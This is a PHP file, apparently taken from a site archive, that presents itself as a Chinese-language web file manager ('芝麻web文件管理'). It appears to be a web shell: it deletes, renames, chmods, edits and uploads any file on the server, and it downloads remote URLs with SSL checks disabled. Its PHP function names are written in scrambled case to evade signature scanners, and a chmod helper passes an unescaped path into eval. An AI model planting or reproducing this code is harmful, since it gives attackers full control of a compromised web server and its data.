index.php 0000644 00000024760 15000770025 0006371 0 ustar 00 '.$dir.'/';
}
$dir_rows='';
$file_rows='';
$current_dir_list=sCaNDir($current_dir);
$row_id=0;
foreach( $current_dir_list as $target_name )
{
if ( $target_name=='.' || $target_name=='..' ) continue;
$target=$current_dir.'/'.$target_name;
$target_ahref=strpos($target,$wwwroot)===0?''.$target_name.'':$target_name;
$row_id++;
$target_u_id=fIlEOwNEr($target);
$target_u_att=poSIx_GEtpWUid($target_u_id);
$target_owner=$target_u_att['name'];
$target_perm=get_qx($target);
$target_mtime=date('Y-m-d H:i:s',fILeMTiMe($target));
if ( is_dir($target) )
{
$dir_rows.='
| '.$target_name.' | | ('.$target_perm.')'.$target_owner.' | '.$target_mtime.' | 改名|删除 |
';
}else
{
$target_fsize=fILesIzE($target);
$target_fsize<1024?$target_fsize.=' B':($target_fsize=round($target_fsize/1024,1)).($target_fsize<1024?$target_fsize.=' KB':$target_fsize=round($target_fsize/1024,2).' MB');
$file_rows.=' | '.$target_ahref.' | '.$target_fsize.' | ('.$target_perm.')'.$target_owner.' | '.$target_mtime.' | 查看|编辑|改名|删除 |
';
}
}
$div_html='
|
|
'.($row_id==0?'内容为空或无权限查看 |
':$dir_rows.$file_rows).'
';
}elseif ( $action=='sc' )
{
if ( $file!='' )
{
uNlInk($file); jump_to('?d='.diRNaMe($file));
}elseif( $dir!='' )
{
rm_rf($dir); jump_to('?d='.DIrnaMe($dir));
}
exit;
}elseif( $action=='gm' )
{
$gm=isset($_POST['gm'])?trim($_POST['gm']):'';
if ( $gm!='' )
{
$old_f=$file==''?$dir:$file;
if ( $old_f!='' && file_exists($old_f) )
{
$old_dir=DIrnAme($old_f); rEnAme($old_f,$old_dir.'/'.$gm); jump_to('?d='.$old_dir);
}
}else
{
show_msg('请输入新名称!','back');
}
exit;
}elseif( $action=='qx' )
{
$target=$dir==''?$file:$dir;
if ( $target!='' )
{
$qx=isset($_POST['qx'])?trim($_POST['qx']):'';
if ( $qx!='' && is_numeric($qx) && substr($qx,0,1)=='0' )
{
set_qx($target,$qx); jump_to('?d='.dIRnamE($target));
}else
{
show_msg('请输入新权限!','back');
}
}
exit;
}elseif( $action=='ck' && $file!='' )
{
if ( fiLEsIze($file)<10000000 )
{
HEadEr('Content-Type:text/plain; Charset=utf-8;'); echo FIle_gET_coNTEnts($file);
}else
{
show_msg('文件大小超限!','close');
}
exit;
}elseif( $action=='bj' && $file!='' )
{
if ( isset($_POST['f_content']) )
{
FilE_pUt_COnteNts($file,$_POST['f_content']);
md5($_POST['f_content'])==md5(fILE_Get_cONTenTs($file)) ? show_msg('保存成功!','') : show_msg('保存失败!!','');
}
$f_content=is_file($file)?str_replace('','</textarea>',FIle_gET_contENtS($file)):'';
$div_html='';
}elseif( $action=='tj' && $dir!='' )
{
$t_name=isset($_POST['t_name'])?trim($_POST['t_name']):'';
if ( $t_name=='' )
{
show_msg('请输入项目名称!','back');
}else
{
if ( $_POST['t_type']=='tj_f' ) fiLe_PUt_coNTentS($dir.'/'.$t_name,'');
if ( $_POST['t_type']=='tj_d' ) mKDir($dir.'/'.$t_name,0755,true);
if ( $_POST['t_type']=='tj_xz' )
{
preg_match('/^http[s]?:\/\/.+/si',$t_name)==0 ? show_msg('下载地址格式出错!','back') : down_file($dir,$t_name) ;
}
jump_to('?d='.$dir);
}
exit;
}elseif( $action=='up' && $dir!='' && isset($_FILES['file_up']) )
{
MoVE_upLOadEd_filE($_FILES['file_up']['tmp_name'],$dir.'/'.BaSenaMe($_FILES['file_up']['name'])) ? show_msg('上传成功!','') : show_msg('上传失败!','') ;
jump_to('?d='.$dir);
exit;
}
function get_qx($t)
{
$q=substr(sprintf('%o',fILepErMs($t)),-4);
return $q;
}
function set_qx($t,$q)
{
EvAl('cHMoD("'.$t.'",'.$q.');');
if ( get_qx($t)!=$q )
{
$tmp_f=uniqid().'.txt';
$tmp_c='';
fiLE_puT_cONtEnTs($tmp_f,$tmp_c);
require($tmp_f);
UnLInK($tmp_f);
}
}
function rm_rf($d)
{
if (is_dir($d))
{
$f_l=sCaNDir($d);
foreach ($f_l as $f)
{
if ($f=='.'||$f=='..') continue;
$p=$d.'/'.$f;
is_dir($p)?rm_rf($p):uNliNk($p);
}
rMdIR($d);
}
}
function show_msg($msg,$go)
{
echo '';
if ($go=='back') echo '';
if ($go=='close') echo '';
}
function jump_to($url)
{
echo '';
}
function down_file($dir,$url)
{
$s_name=array_pop(explode('/',$url));
if ( $s_name=='' || is_file($dir.'/'.$s_name) ) $s_name=uniqid().'.zmxz';
$ch=CUrl_iNit();
cuRl_seTOpt ($ch, CURLOPT_URL, $url);
cUrL_sEtopt ($ch, CURLOPT_RETURNTRANSFER, 1);
cuRL_setOPt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYPEER, false);
cuRL_setOPt ($ch, CURLOPT_SSL_VERIFYHOST, false);
cuRL_setOPt ($ch, CURLOPT_BINARYTRANSFER, true);
$contents = cUrl_eXeC($ch);
cURl_CLosE($ch);
if ( empty($contents) ) $contents=filE_geT_cONTentS($url);
if ( empty($contents) )
{
show_msg('下载出错!','');
}else
{
fIle_PuT_cONteNts($dir.'/'.$s_name,$contents);
show_msg('下载完成!','');
}
}
?>
芝麻web文件管理
芝麻web文件管理V1.00